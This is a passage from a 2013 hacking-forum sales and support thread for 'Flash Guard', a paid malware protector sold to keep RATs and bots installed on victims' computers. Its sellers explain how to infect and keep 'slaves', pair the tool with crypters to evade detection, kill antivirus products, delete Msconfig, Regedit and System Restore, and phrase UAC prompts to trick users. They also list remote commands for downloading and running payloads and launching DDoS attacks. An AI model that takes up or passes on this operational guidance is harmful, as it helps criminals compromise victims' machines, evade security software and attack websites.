guard on my victims comp to protect my rat from being uninstalled.

So basically, I dont want to bind anything to flashguard when I make it. I just want to tell it what
process to protect ahead of time. Once it hits the pc and sees my process, it protects it. Can you
make it protect like 3 different processes?

This isn't exactly possible, because you have no way of telling Flash Guard what to protect and
what to ignore. Flash Guard works by executing your process by itself and then protecting it, I don't
have it made to protect an already running process.

The best way to do this would be to take your FUD stub and have Flash Guard download and protect it, and then update your slaves. Do a couple as a test first. All should go well.

Six Below - August 30, 2013, 8:24 pm

(Aug 30, 2013 09:19 AM)Success! Wrote: [\[CITE\]](#) Does it work with legacylink? who do i PM KFC or the thread owner?

Do NOT PM KFC regarding sales or any technical/support issues. All PM's should be directed to me and me only. As mentioned before by "KFC Watermelon", as long as you can disable startup, and other persistence on your stub build before running though Flash Guard, LegacyLink should work perfectly fine.

Thank you!

KFC Watermelon - August 30, 2013, 10:04 pm

Flash Guard should work 100% with java applications, such as jRAT, just use Download and Execute. It should protect the Java process as well (not 100% sure). Anyone want to test this?

Six Below - August 30, 2013, 10:39 pm

(Aug 30, 2013 10:04 PM)KFC Watermelon Wrote: [\[CITE\]](#) Flash Guard should work 100% with java applications, such as jRAT, just use Download and Execute. It should protect the Java process as well (not 100% sure). Anyone want to test this?

Make sure you disable the "Kill Java" option within Flash Guard if utilizing any type of Java RAT/Bot.

[img]http://turboimg.com/p/epl1377928089p.PNG[/img]

KFC Watermelon - August 31, 2013, 8:17 am

(Aug 30, 2013 10:39 PM)Six Below Wrote: [\[CITE\]](#) Make sure you disable the "Kill Java" option within Flash Guard if utilizing any type of Java RAT/Bot.

[img]http://turboimg.com/p/epl1377928089p.PNG[/img]

Forgot to mention: Do not use "Kill .NET Crypters" if you are using injection.

Six Below - August 31, 2013, 2:30 pm

(Aug 31, 2013 08:17 AM)KFC Watermelon Wrote: [\[CITE\]](#) Forgot to mention: Do not use "Kill .NET Crypters" if you are using injection.

Of course. Forgot to include that information in my last post. I apologize. I hope this information helped everyone out.

KFC Watermelon - August 31, 2013, 5:41 pm

Does anybody have any suggestions for a future update?

Six Below - August 31, 2013, 11:22 pm

(Aug 31, 2013 05:41 PM)KFC Watermelon Wrote: [\[CITE\]](#) Does anybody have any suggestions for a future update?

Yea, I got a suggestion... Add a minimize button! ?

imposter johnson - September 1, 2013, 12:40 am

(Aug 30, 2013 07:59 PM)KFC Watermelon Wrote: [\[CITE\]](#) This isn't exactly possible, because you have no way of telling Flash Guard what to protect and what to ignore. Flash Guard works by executing your process by itself and then protecting it, I don't have it made to protect an already running process.

The best way to do this would be to take your FUD stub and have Flash Guard download and protect it, and then update your slaves. Do a couple as a test first. All should go well.

I use data protector for my crypter, and by the way it installs, its not exactly easy to update. I have already infected the victim and have already purchased flash guard. I didnt attach flash guard to my server, because I dont send servers out without testing, and you cant test flash guard. Once its on a pc, it is on there and I was told there is no way to remove it. When I have sent servers out without testing, the server often fails. So testing is a crucial process for computer related stuff. I guess the only time I can use flash guard is when I dont care about the target at all. If its some random jimbob. However in the line of business I am in, the targets are people that are valuable, they mean something. so making sure I have them on my rat is #1. Keeping them on, is #2. Using flash guard + server at the same time is risky, because you dont know what happens. You cant test on yourself, and I only get one shot to get someone to open the file.

Six Below - September 1, 2013, 1:11 am

(Sep 1, 2013 12:40 AM)Blastoise76 Wrote: [\[CITE\]](#) I use data protector for my crypter, and by the way it installs, its not exactly easy to update. I have already infected the victim and have already purchased flash guard. I didnt attach flash guard to my server, because I dont send servers out without testing, and you cant test flash guard. Once its on a pc, it is on there and I was told there is no way to remove it. When I have sent servers out without testing, the server often fails. So testing is a crucial process for computer related stuff. I guess the only time I can use flash guard is when I dont care about the target at all. If its some random jimbob. However in the line of business I am in, the targets are people that are valuable, they mean something. so making sure I have them on my rat is #1. Keeping them on, is #2. Using flash guard + server at the same time is risky, because you dont know what happens. You cant test on yourself, and I only get one shot to get someone to open the file.

I understand your concerns. "KFC Watermelon" may be working on some type of built in kill feature however I am unsure of this. Until then, you can always test on VM. That is what we do for our initial testing. Once "KFC Watermelon" is online he will be giving you a more detailed answer. We will work with you to figure out a solution. Thanks again for your input!

jontaon - September 1, 2013, 8:54 am

I have one suggestion. Please consider to add update (refud FG installed bin) feature. That's really need. Its a powerful weapon. If its not in control, it can be kill us too. As "Blastoise76" mentioned, loosing target one,it's really hurts.

Six Below - September 1, 2013, 11:58 am

(Sep 1, 2013 08:54 AM)jontaon Wrote: [\[CITE\]](#) I have one suggestion. Please consider to add update (refud FG installed bin) feature. That's really need. Its a powerful weapon. If its not in control, it can be kill us too. As "Blastoise76" mentioned, loosing target one,it's really hurts.

To update your bin simply update the link in which you set your file to originally when adding to Flash Guard. This is the reason we recommend Dropbox, due to the fact that yo can easily update/change your file link. Ideally a private FTP server would be the best. I suggest making a free account at [SPAM](#) and downloading [FileZilla](#) to start using your own FTP server for direct file links.

Also, I just updated the thread to include the HTTP command list. This should help with "killing" a bot if you need it off of a specific computer, and/or if you accidentally infected yourself. This feature should not be used to test Flash Guarded files on your personal computer. We always recommend some type of VM Ware for testing. Thank you.

iguard - September 1, 2013, 6:45 pm

(Sep 1, 2013 11:58 AM)Six Below Wrote: [\[CITE\]](#) To update your bin simply update the link in which you set your file to originally when adding to Flash Guard. This is the reason we recommend Dropbox, due to the fact that yo can easily update/change your file link. Ideally a private FTP server

would be the best. I suggest making a free account at [SPAM](#) and downloading [FileZilla](#) to start using your own FTP server for direct file links.

Also, I just updated the thread to include the HTTP command list. This should help with "killing" a bot if you need it off of a specific computer, and/or if you accidentally infected yourself. This feature should not be used to test Flash Guarded files on your personal computer. We always recommend some type of VM Ware for testing. Thank you.

You keep answering with this but everybody is asking not how to update the guarded bin, but the guard bin itself

Six Below - September 1, 2013, 6:55 pm

(Sep 1, 2013 06:45 PM)iguard Wrote: [\[CITE\]](#) You keep answering with this but everybody is asking not how to update the guarded bin, but the guard bin itself

I am sorry if I am confusing anyone. Just to get this clear is everyone asking how to update there stub within Flash Guard once executed, or the HTTP commands in which Flash Guard responds to. I am very sorry for this confusion. I will work with everyone to get this question answered once and for all.

Six Below`s Nemesis - September 1, 2013, 7:11 pm

Why has KFC been banned? Was he not the coder of this?

Six Below - September 1, 2013, 7:20 pm

(Sep 1, 2013 07:11 PM)Success! Wrote: [\[CITE\]](#) Why has KFC been banned? Was he not the coder of this?

He's only banned until 4AM PST I believe. It was a temporary ban as far as I know for what would be considered by many a "minor" offense. Please note, I am using the word minor due to the fact that the ban length is short. In no way shape or form do I condon the breaking of any HF rules.

iguard - September 2, 2013, 6:56 am

(Sep 1, 2013 06:55 PM)Six Below Wrote: [\[CITE\]](#) I am sorry if I am confusing anyone. Just to get this clear is everyone asking how to update there stub within Flash Guard once executed, or the HTTP commands in which Flash Guard responds to. I am very sorry for this confusion. I will work with everyone to get this question answered once and for all.

None :P

This program works by being executed (guard.exe) installs itself etc and then executes the bot from the download url put into the guard builder (bot.exe). bot.exe is easy to update, just upload a new one to the same place but guard.exe is impossible to update. If guard.exe is eventually removed due to being detected then we lose the infection, the AV killer will help with this but it's not the best solution. If we (perhaps through the http commands) could update the bot, perhaps with "update GUARDURL MD5", then this product would be at least 50% better imo. I'm reluctant to install guard on all of my bots just because I know that if I change my mind on any of the settings it is impossible for me to change them and also what I said about fixing detections.

Thanks for reading this and I hope you take it into consideration.

PS. An inject option for the HTTP command download would be nice since guard already can do this when building :)

PSS. This would be nice for the IRC bot too since I can't see an update command on that thread.

KFC Watermelon - September 2, 2013, 7:23 am

(Sep 2, 2013 06:56 AM)iguard Wrote: [\[CITE\]](#) None :P

This program works by being executed (guard.exe) installs itself etc and then executes the bot from the download url put into the guard builder (bot.exe). bot.exe is easy to update, just upload a new one to the same place but guard.exe is impossible to update. If guard.exe is eventually removed due to being detected then we lose the infection, the AV killer will help with this but it's not the best

solution. If we (perhaps through the http commands) could update the bot, perhaps with "update GUARDURL MD5", then this product would be at least 50% better imo. I'm reluctant to install guard on all of my bots just because I know that if I change my mind on any of the settings it is impossible for me to change them and also what I said about fixing detections.

Thanks for reading this and I hope you take it into consideration.

PS. An inject option for the HTTP command download would be nice since guard already can do this when building :)

PSS. This would be nice for the IRC bot too since I can't see an update command on that thread. I already have a update feature done. It will be added as a free update in both products.

jontaon - September 2, 2013, 8:29 am

(Sep 2, 2013 07:23 AM)KFC Watermelon Wrote: [\[CITE\]](#) I already have a update feature done. It will be added as a free update in both products.

Waiting for update @KFC. As my view your are a good knowledgeable and flexible coder. Keep it up. All the best to make it better more than this. Cheers.

Six Below`s Nemesis - September 2, 2013, 9:22 am

I am very close to buying this i just have a few questions:

1. Can both flash guard and my .exe be updated remotely? to keep them both FUD?
2. Does HaVoc prevents the host PC from downloading or installing new software does that mean they cannot download or install anything at all or is it just Anti-Malware and Anti-Virus products they cannot download and install?
3. What crypter has this been tested with? does the crypter need to support EOF?
4. Has this been tested with legacylink? if not will it work with it?

Thanks

KFC Watermelon - September 2, 2013, 9:32 am

(Sep 2, 2013 09:22 AM)Success! Wrote: [\[CITE\]](#) I am very close to buying this i just have a few questions:

1. Can both flash guard and my .exe be updated remotely? to keep them both FUD?
2. Does HaVoc prevents the host PC from downloading or installing new software does that mean they cannot download or install anything at all or is it just Anti-Malware and Anti-Virus products they cannot download and install?
3. What crypter has this been tested with? does the crypter need to support EOF?
4. Has this been tested with legacylink? if not will it work with it?

Thanks

1. I'm testing the update Flash Guard itself feature at this very moment. As for your own bin, you can either update the file URL, or use the HTTP Commands to send a download and execute command.

2. HaVoC works to prevent any changes to the host operating system, and helps prevent the installation of new malware and antivirus software alike. However, it may interfere with legit files. If you want, just use the file searcher module.

3. It will work with any crypter that supports managed files. Flash Guard has a tool which moves over EOF data, meaning your crypter does not require EOF support.

4. As long as LegacyLink has an installation option which you can disable, yes.

To get the most out of Flash Guard, you really need to use the HTTP Commands, which serves like a HTTP Bot. You can send commands to Flash Guard through it. To use HTTP Commands, you just need static text file hosting, such as a .txt file in your DropBox public folder. You edit the text file with commands. Of course, the file does not have to be .txt, it's just an example.

iguard - September 2, 2013, 1:24 pm

(Sep 2, 2013 07:23 AM)KFC Watermelon Wrote: [\[CITE\]](#) I already have a update feature done. It will be added as a free update in both products.

Nice, thanks. Will it be a straight update or support MD5 or something else? Just thinking because we don't want it to update every time it checks the HTTP commands if one isn't necessary.

KFC Watermelon - September 2, 2013, 1:29 pm

(Sep 2, 2013 01:24 PM)iguard Wrote: [\[CITE\]](#) Nice, thanks. Will it be a straight update or support MD5 or something else? Just thinking because we don't want it to update every time it checks the HTTP commands if one isn't necessary.

The update feature has a filename. If that filename has been used before, it won't update.

Example:

update <http://site.com/bot.exe> 1238.exe

It won't update if the name "1238.exe" has been used before.

Also, when updating, be sure to use a different filename for Flash Guard and your files. Otherwise issues will arise.

Six Below's Nemesis - September 2, 2013, 2:00 pm

(Sep 2, 2013 01:29 PM)KFC Watermelon Wrote: [\[CITE\]](#) The update feature has a filename. If that filename has been used before, it won't update.

Example:

update <http://site.com/bot.exe> 1238.exe

It won't update if the name "1238.exe" has been used before.

Also, when updating, be sure to use a different filename for Flash Guard and your files. Otherwise issues will arise.

So will the slave be running both the old FG and the updated FG or does the updated FG kill the old FG?

KFC Watermelon - September 2, 2013, 2:01 pm

(Sep 2, 2013 02:00 PM)Success! Wrote: [\[CITE\]](#) So will the slave be running both the old FG and the updated FG or does the updated FG kill the old FG?

When you use the update feature, the old one kills itself AFTER the new one is executed. So only one instance runs of FG.

Six Below - September 2, 2013, 2:34 pm

(Sep 2, 2013 02:27 PM)ENGLISH Wrote: [\[CITE\]](#) Will the flashguard program auto update when you release said update i seem to be using version 1.0 ???

It says version 1.0 and has said that for all updates/builds however you have to be using the newest version. The program auto-updates when a new build is sent out. Ignore the version on the application info. Thanks, and sorry for the confusion.

KFC Watermelon - September 2, 2013, 9:42 pm

Testing update feature in HTTP Commands module! Improved AV kill coming as promised.

Six Below - September 3, 2013, 12:27 am

Very exciting stuff coming soon. The update should be sent out anytime now. Will update this thread once sent out. Of course the new update will also be auto-downloaded. Thanks!

skilshotz - September 3, 2013, 12:34 pm

Hi six below I'm just posting here in this thread to get your attention. Tried to PM you more then 5 times from 1 week ago untill now. On Hackforums and in Skype.

I hope you can leave me a PM soon.

Thanks

KFC Watermelon - September 3, 2013, 5:16 pm

Just released a update. This update is stub side so everything is completely automatic (make a new Flash Guard bin and you're done.)

New features:

-Added update command to HTTP Bot.

Code update url filename

Example: update <http://google.com/bot.exe> cmd.exe will download the file, save it and run it as cmd.exe, and then Flash Guard will kill itself.

Therefore, when updating one Flash Guard to the next, please use a different File Name for Flash Guard each time.

I'm talking about this one:

There is a file name option with the update. If you use one file name, you can't use it again; and this goes for both download and update feature. This is a feature, so the bot wont update itself over and over or download the file more than once.

-Updated AV Killer.

--Stops the use of the following:

---Malwarebytes Anti-Malware

---Hijack This

---SpyBot Search and Destroy

---Key Scrambler

--Scans running processes for security software and attempts to disable the executable file from running. Takes out AVG, Malwarebytes Pro, and more without a problem.

(Sep 3, 2013 02:21 PM)KFC Watermelon Wrote: [\[CITE\]](#) Was testing Avast's new 2014 beta in a VM when I decided to run Flash in a VM to test a bin for a customer. I didn't elevate Flash at first, but had him do .attemptadmin after I made a snapshot of the VM.

Let the AV Killer go to work, rebooted and:
Spoiler ([Click to View](#))

It reset the trail to 0 days, all modules failed to start (enabling them did nothing, Avast would crash or just stand idle.) The new Avast is no different than the previous versions. Was hoping the new "DeepScreen" technology would be a good improvement. Guess not. They still have a while to improve it, as this is only beta 1. I'm a fan of Avast and Kaspersky.

Oh, and update feature working 100% in 1.1. Was a little difficult because I had a secondary process monitor Flash, and I had no communication to it. I found a way around it.

-Updated Disablers:

--Enables "Hide protected operating system files"...All files made by Flash Guard are marked as system files (how did I not have this before?!?!)

--Flash Guard is able to delete the following:

-Msconfig

-Regedit

-System Restore

-User Account Control Settings

-VBC.exe and AppLaunch.exe

-Updated Admin Elevation technique:

--Now asks on boot for permission (higher success rate) if it failed the first time

--Added a message under "Show details" on UAC prompt. Should help with success rates.

Rogerbob - September 3, 2013, 6:07 pm

What's recommended, download & run or inject?

KFC Watermelon - September 3, 2013, 6:46 pm

(Sep 3, 2013 06:07 PM)TEDx Wrote: ([CITE](#)) What's recommended, download & run or inject?
Download and Run. Flash offers better protection.

And I always highly suggest using the built-in HTTP Bot/HTTP Commands System that allows you to remotely control Flash Guard.

Six Below - September 3, 2013, 7:20 pm

Sent the update out everyone. This one was remote and did not effect the application itself, thus not having an actual Netseal update. Regardless to say the new build is officially out. Thanks!

juraganASIA - September 4, 2013, 4:31 am

i will buy this soon... new tech in sealing your bots.. glws

KFC Watermelon - September 4, 2013, 7:02 am

Forgot to mention. Last night after pushing out the stub update, there was an issue where the second process (a process Flash Guard spawns to monitor itself) didn't spawn properly. I fixed the issue and uploaded a new stub within an hour of the previous update. Thanks.

(Sep 4, 2013 04:31 AM)juraganPREMIUM Wrote: ([CITE](#)) i will buy this soon... new tech in sealing your bots.. glws

Thanks Juragan. Look forward to seeing you as a newer.

Six Below's Nemesis - September 4, 2013, 7:50 am

(Sep 4, 2013 07:02 AM)KFC Watermelon Wrote: ([CITE](#)) Forgot to mention. Last night after pushing out the stub update, there was an issue where the second process (a process Flash Guard spawns

to monitor itself) didn't spawn properly. I fixed the issue and uploaded a new stub within an hour of the previous update. Thanks.

Thanks Juragan. Look forward to seeing you as a newer.
Sent you a PM im looking to buy but i cannot find the checkout button.

BisualZ - September 4, 2013, 9:30 am

Hmm,

Protect your RAT/Bot/File from Removal - Yeah, we knew that that's why it's called Flash Guard - Bla,Bla,Bla

Stop New Malware from being Installed - That's one looks interesting. Give some more information how its done.

Remotely Execute new Commands (Such as Download, Open Sites, etc) - Nothing unique here
Supports Unlimited Files and all File types - Nothing unique too

Powerful Persistence, resident to most bot killers - Hmm? ""Protect your RAT/Bot/File from Removal"" isn't the same?

KFC Watermelon - September 4, 2013, 9:39 am

Quote:Protect your RAT/Bot/File from Removal - Yeah, we knew that that's why it's called Flash Guard - Bla,Bla,Bla Cool. Thanks for letting us know.

Quote:Stop New Malware from being Installed - That's one looks interesting. Give some more information how its done. Monitors the filesystem for malicious activity, such as executable files copying to TEMP. Gets rid of them on the spot.

Quote:Remotely Execute new Commands (Such as Download, Open Sites, etc) - Nothing unique here It's an excellent addition.

Quote:Supports Unlimited Files and all File types - Nothing unique too And...?

Quote:Powerful Persistence, resident to most bot killers - Hmm? ""Protect your RAT/Bot/File from Removal"" isn't the same? Sure is!

Thank you for your feedback.

BisualZ - September 4, 2013, 9:45 am

Remotely Execute - All bots have it why a bot protector should have it. Rember that's only my opinion.

Stop new malware from being installed - Well, that's good for people who want to have the only control.

Thanks for the answer.

KFC Watermelon - September 4, 2013, 9:51 am

Quote:Remotely Execute - All bots have it why a bot protector should have it. Rember that's only my opinion. The problem is that sometimes your bots/RATs/whatever Download and Execute feature will interfere with Flash Guard, and Flash Guard will remove the file. Also, what if your RAT/Bot gets detected, but not Flash Guard? There's another point. The HTTP Commands is an excellent addition.

Quote:Stop new malware from being installed - Well, that's good for people who want to have the

only control. Which is the people who purchase Flash Guard. You do have the option of disabling this feature, even during the download and execute command. So you can download a file, add it to startup, protect it, and disable the shield.

Quote:Thanks for the answer. No problem. Hope you have a nice day.

Six Below's Nemesis - September 4, 2013, 10:18 am

Can you PM me the list of A/Vs it kills. And payment details.

Six Below - September 4, 2013, 11:23 am

(Sep 4, 2013 10:18 AM)Success! Wrote: [\[CITE\]](#) Can you PM me the list of A/Vs it kills. And payment details.

I responded to the PM you sent me. I however did not include the list of confirmed AV kills due to the fact that it is in the original thread post, along with some proof. Thank you.

KFC Watermelon - September 4, 2013, 12:06 pm

(Sep 4, 2013 11:23 AM)Six Below Wrote: [\[CITE\]](#) I responded to the PM you sent me. I however did not include the list of confirmed AV kills due to the fact that it is in the original thread post, along with some proof. Thank you.

It is able to kill more since I updated it. I know AVG, Avast, Avira, and Malwarebytes for sure. I'd really like to video everything and upload it, but even a small video showing the process is 80MB. My internet is 20KB/second upload.

Six Below - September 4, 2013, 3:03 pm

Yea, we will try and get some video proofs out. If anyone is willing and can help with this, maybe we can work out a deal. If so PM me. Thanks!

betamonkey - September 4, 2013, 3:18 pm

I did actually test this on Norton Internet Security 2013, ESET Smart Security 6 and Kaspersky AntiVirus (all latest) and I saw what you tried to do, but it didn't actually affect them at all. Avast did work, though.

KFC Watermelon - September 4, 2013, 3:53 pm

(Sep 4, 2013 03:18 PM)betamonkey Wrote: [\[CITE\]](#) I did actually test this on Norton Internet Security 2013, ESET Smart Security 6 and Kaspersky AntiVirus (all latest) and I saw what you tried to do, but it didn't actually affect them at all. Avast did work, though.

Thanks for testing for me. I was mainly targeting the main 3 AVs (Avast, Avira, AVG) as they are vastly the most popular and most used.

Good luck with Betabot!

Six Below - September 4, 2013, 4:47 pm

(Sep 4, 2013 03:18 PM)betamonkey Wrote: [\[CITE\]](#) I did actually test this on Norton Internet Security 2013, ESET Smart Security 6 and Kaspersky AntiVirus (all latest) and I saw what you tried to do, but it didn't actually affect them at all. Avast did work, though.

Thanks "betamonkey" for doing those tests. We are always working to improve.

Six Below - September 5, 2013, 2:31 am

(Sep 5, 2013 02:22 AM)Success! Wrote: [\[CITE\]](#) Still needs to be tested more should have waited till it was fully tested. High chance of losing all your bots if you don't get the setting 100% right.

More testing? As in testing your stub (in some sort of personal VM) before executing I presume. All needed information is listed in the thread itself. This application is currently working 100% correctly and as advertised. If you cannot get your stub working with your specific crypter chances are your

crypter does not support managed files (seen in thread) which is needed to support the Flash Guard output.

Testing in a VM before executing on any amount of bots is always a must. Regardless of the application/program you are using. The fact that it kills the bots shows that it is doing it's job. We will continue to update the application for user ease of use, however at this moment it is nearly impossible to make it easier for the user. We cannot "nurf" our BK settings because people may execute a non-tested and or non-working stub. Would destroy the point of this application. I am sorry if this is inconvenient, but I can almost promise that if after crypting your Flash Guard stub does not work, than it was an issue caused by the crypter itself not supporting managed files and or adding its own processes somewhere during the building process. I highly suggest testing each aspect of your bin throughout the process. As in: Test stub > Put it through Flash Guard > Test unencrypted Flash Guarded bin > crypt and test final Flash Guarded bin. This will give each user a better understanding of where and what is causing the issue.

Not to mention we are on our 5th build (Version 1.5) This application has been through it's fair share of testing and updating issues we find necessary. This does not mean we are done update and upgrading this application, this simply means, this issue you seem to be having (according to our PM conversations) has already been addressed, and noted. Spoiler [\(Click to View\)](#)8/6/2013: Flash Guard (Version 1.0) was released.

8/8/2013: Flash Guard (Version 1.1) was released. Support for multiple files added.

8/12/2013: Flash Guard (Version 1.2) was released. HTTP control function now available!

8/16/2013: Flash Guard (Version 1.3) was released. Injection added. Start-up and persistence fixed.

8/25/2013: Flash Guard (Version 1.4) was released. Crypting issues fixed, along with many other minor bot stability and protection updates.

9/2/2013: Flash Guard (Version 1.5) was released. Allows better updating, along with better AV killing and increased persistence shield.

KFC Watermelon - September 5, 2013, 7:45 am

(Sep 5, 2013 02:54 AM)Success! Wrote: [\[CITE\]](#) No i agree with you it works 100% as it should im not bashing the bot. What i should have said is "I" should have done more testing before i sent it out to my bots.

Vouch this does work & its VERY POWERFUL!

Yeah. It's always good to send it to a small amount of bots to test how it works in their environment. Flash Guard is very powerful and just about everything is an option. Find what works for you.

Six Below`s Nemesis - September 5, 2013, 9:58 am

(Sep 5, 2013 07:45 AM)KFC Watermelon Wrote: [\[CITE\]](#) Yeah. It's always good to send it to a small amount of bots to test how it works in their environment. Flash Guard is very powerful and just about everything is an option. Find what works for you.

When are you going to do the PDF with all the commands and how to set-up and use/update/FG/Bots?

I would be nice to have some kind of instructions for buyer so we don't need to keep posting/looking in this thread.

KFC Watermelon - September 5, 2013, 4:21 pm

(Sep 5, 2013 09:58 AM)Success! Wrote: [\[CITE\]](#) When are you going to do the PDF with all the commands and how to set-up and use/update/FG/Bots?

I would be nice to have some kind of instructions for buyer so we don't need to keep posting/looking

in this thread.

Are you confused with the HTTP Bot/Commands? It simply reads a plain text file on the web for commands. The commands are on the thread.

Just upload a .txt to your website or DropBox and put the link to it in Flash Guard. You can then update the .txt to send commands.

Rogerbot - *September 5, 2013, 5:07 pm*

Please add an option to update individual bots.

Six Below - *September 6, 2013, 12:28 am*

The command list is included in the thread itself. I have also quoted it below.

Quote:Command List:enablehavoc / disablehavoc
download URL FILENAME
visit site
visit -h site
attack WEBSITE TIME
hosts "hosts editor"
kill

If I find the time between work, classes, and helping my father I will try and make a video. Once I get my product line site up I will be posting many more instructional videos. Until then, please read "KFC Watermelon's" instructions above. If you do not find these helpful, stand-by for a more detailed instructional video. Thank you!

KFC Watermelon - *September 6, 2013, 4:25 am*

Six there is also a update command. Its the same as the download except Flash kills itself afterwards.

Six Below's Nemesis - *September 6, 2013, 8:53 am*

(Sep 6, 2013 04:25 AM)KFC Watermelon Wrote: [\[CITE\]](#) Six there is also a update command. Its the same as the download except Flash kills itself afterwards.

where my post go? lol

?

who do i contact for support KFC looks like he knows more about this?

enablehavoc / disablehavoc

download URL FILENAME - Does this download and run my bot and add it to start up? Do i use this to also update bots?

visit site

visit -h site

attack WEBSITE TIME - When it checks again does it run the DDOS again? How do i pick how many threads i want to use?

hosts "hosts editor" - What is "Hosts Editor?"

kill

If i check the attempt elevated permissions and the slave clicks NO will my bots still run?

When i run commend enablehavoc does it run both Shield and Searcher? is there a commend to run just searcher?

Is there a command to turn no/off disablers? or at least tell it not to disable task manager?

When crypting do i use runPE "Itself" ?

When crypting FG is it ok to use delay execution?

When crypting FG is it ok to compress?

KFC Watermelon - September 6, 2013, 10:07 am

Success,

I'm on my phone and my typing won't be the best. I'll still attempt to help you.

If i check the attempt elevated permissions and the slave clicks NO will my bots still run? Yes, of course.

When i run commend enablehavoc does it run both Shield and Searcher? is there a commend to run just searcher?

Is there a command to turn no/off disablers? or at least tell it not to disable task manager? It disables the shield. The searcher runs once.

When crypting do i use runPE "Itself" ? I dont know what you mean by this.

When crypting FG is it ok to use delay execution? Should be.

When crypting FG is it ok to compress? Depends.

Six Below`s Nemesis - September 6, 2013, 10:27 am

Thank you KFC ?

When you get time can you replay to the below:

- 1.download URL FILENAME - Does this download and run my bot and add it to start up? Do i use this to also update my bots? Do i use this to update FG?
2. attack WEBSITE TIME - When it checks again does it run the DDOS again? How do i pick how many threads i want to use?
3. hosts "hosts editor" - What is "Hosts Editor"?
4. What crypters has this been tested with?
5. When crypting do i use "Itself" as the injection method?

?

(Aug 8, 2013 03:55 AM)Six Below Wrote: [\[CITE\]](#) Any crypter that supports .NET 2.0 framework (90% of crypters do) will work. I recommend: <https://hackforums.net/showthread.php?tid=3650168>
The owner is both a friend of mine, and provides great support. They have options that will allow this to be crypted. Just an FYI, it is 2/35 before crypting so not to bad for an unencrypted file. Thanks!
The crypter you recommend does NOT support .NET framework ?

Six Below - September 6, 2013, 12:41 pm

(Sep 6, 2013 10:27 AM)Success! Wrote: [\[CITE\]](#) The crypter you recommend does NOT support .NET framework ?

Sorry, that response was from a while back before Clarion updated, and "fell off the map". Ignore that. I have messaged a couple of crypter owners asking for some test crypts to see which works best. I will update the original sales thread itself with this information if/when I get it. Until then, any crypter that supports managed files should work.

KFC Watermelon - September 6, 2013, 12:43 pm

Success -

If you're having an issue (the file not working), send me your file crypted and unencrypted. I will debug it in my virtual machines and tell you the issue.

Quote:1.download URL FILENAME - Does this download and run my bot and add it to start up? Do i use this to also update my bots? Do i use this to update FG?

If you want your file added to startup, you can do so with this command:

download URL FILENAME -s "Startup Info"

Flash Guard will add your file to startup.

Quote:2. attack WEBSITE TIME - When it checks again does it run the DDOS again? How do i pick how many threads i want to use? When the HTTP Bot checks for a command, it executes the command once and won't execute it again unless it changes. 5 threads are used during the attack, and each thread attempts to open 100 connections with the web server, sends a request on each, closes then and re-sends them until the time is up.

Quote:3. hosts "hosts editor" - What is "Hosts Editor? Edits the HOSTS file, to block websites.

Quote:4. What crypters has this been tested with? Any that support managed files (using the reflection method) work fine.

Quote:5. When crypting do i use "Itself" as the injection method? No, Flash Guard cannot be crypted and executed using your typical RunPE; Your crypter needs to support managed executable using the reflection method.

Quote:The crypter you recommend does NOT support .NET framework That's a really old post. The OP of the crypter claimed it did but it did not. That crypter is no longer running and it never did with with Flash. Would not suggest it.

Six Below's Nemesis - September 6, 2013, 12:49 pm

OK Sending you a PM with crypt and un-crypt FG.

Thanks

KFC Watermelon - September 6, 2013, 1:20 pm

(Sep 6, 2013 12:49 PM)Success! Wrote: [\[CITE\]](#) OK Sending you a PM with crypt and un-crypt FG.

Thanks

Found the issue and a very easy fix. Just use the built in Preserve EOF Tool. The crypted file will work perfectly afterwards. Enjoy.

I used it on the two files you sent me, and the crypted file worked perfectly afterwards.

Six Below - September 6, 2013, 3:17 pm

(Sep 6, 2013 02:37 PM)Success! Wrote: [\[CITE\]](#) Thanks for the support KFC and letting me know what I was doing wrong ?

Your PM is full can you check it please so i can PM you. i have one more question about the update command.

Glad you guys could get things figured out. Do not hesitate to contact me or "KFC Watermelon" if you have any additional questions. Thanks again for the order.

Prestigio - September 6, 2013, 4:58 pm

Vouch for this user HQ member :) good tool tested

Six Below - September 6, 2013, 5:42 pm

(Sep 6, 2013 04:58 PM)Neanderthal Wrote: [\[CITE\]](#) Vouch for this user HQ member :) good tool

tested

Thanks very much for the test. I can confirm 100% that Flash Guard works with Oberon Crypter.
Thanks again for the tests!

Prestigio - September 6, 2013, 6:49 pm

(Sep 6, 2013 06:45 PM)Success! Wrote: [\[CITE\]](#) This looks like the best crypter to use with FG and it supports EOF <https://hackforums.net/showthread.php?tid=3735160>
Oberon Crypter have 2 months fud mate :)
<https://hackforums.net/showthread.php?tid=3728430>
and have real bypass uac elevate your executable a mode admin

Prestigio - September 6, 2013, 6:59 pm

(Sep 6, 2013 06:56 PM)Success! Wrote: [\[CITE\]](#) But when it get detected you lose your bots ?

2 Month FUD? its only been on sale about a week ?

It is a good crypter but <https://hackforums.net/showthread.php?tid=3735160> is better it does everything yours does plus more.

I sell oberon crypter in others forums mate :)

Six Below`s Nemesis - September 6, 2013, 7:01 pm

(Sep 6, 2013 06:59 PM)Neanderthal Wrote: [\[CITE\]](#) I sell oberon crypter in others forums mate :)
Yea its a good crypter its a bit like Clarion ?

Six Below - September 6, 2013, 8:12 pm

I am not saying Oberon Crypter is the only crypter that will work with Flash Guard, I am just saying that I have tested Oberon Crypter and confirmed it is working 100%.

Six Below`s Nemesis - September 6, 2013, 9:12 pm

(Sep 6, 2013 08:12 PM)Six Below Wrote: [\[CITE\]](#) I am not saying Oberon Crypter is the only crypter that will work with Flash Guard, I am just saying that I have tested Oberon Crypter and confirmed it is working 100%.

Can you test with this <https://hackforums.net/showthread.php?tid=3735160> im looking to buy a copy.

Six Below - September 6, 2013, 9:14 pm

(Sep 6, 2013 09:12 PM)Success! Wrote: [\[CITE\]](#) Can you test with this <https://hackforums.net/showthread.php?tid=3735160> im looking to buy a copy.

Please re-read the crypting section I added to the main thread. I will not be testing crypters unless explicitly asked by the crypter owner.

?illain - September 6, 2013, 9:28 pm

Hi do we use the download URL FILENAME update the flash guard bin?

Six Below`s Nemesis - September 6, 2013, 9:35 pm

(Sep 6, 2013 09:14 PM)Six Below Wrote: [\[CITE\]](#) Please re-read the crypting section I added to the main thread. I will not be testing crypters unless explicitly asked by the crypter owner.

Just thought it would help with your sales if you listed what crypters work with it. It would give buyers more options and you would not need to keep replying to "Will it work with this" in your sales thread.

?

Six Below - September 6, 2013, 10:17 pm

(Sep 6, 2013 09:28 PM)?r. v Wrote: [\[CITE\]](#) Hi do we use the download URL FILENAME update the flash guard bin?

I thought I added this to the original thread however I must have skipped over it. You can update the actual Flash Guarded bin by applying the following command into the text document (HTTP Command) Code update URL FILENAME

Example: update <http://site.com/MyNewFUDFlashGuardBin.exe> WindowsCMD.exe
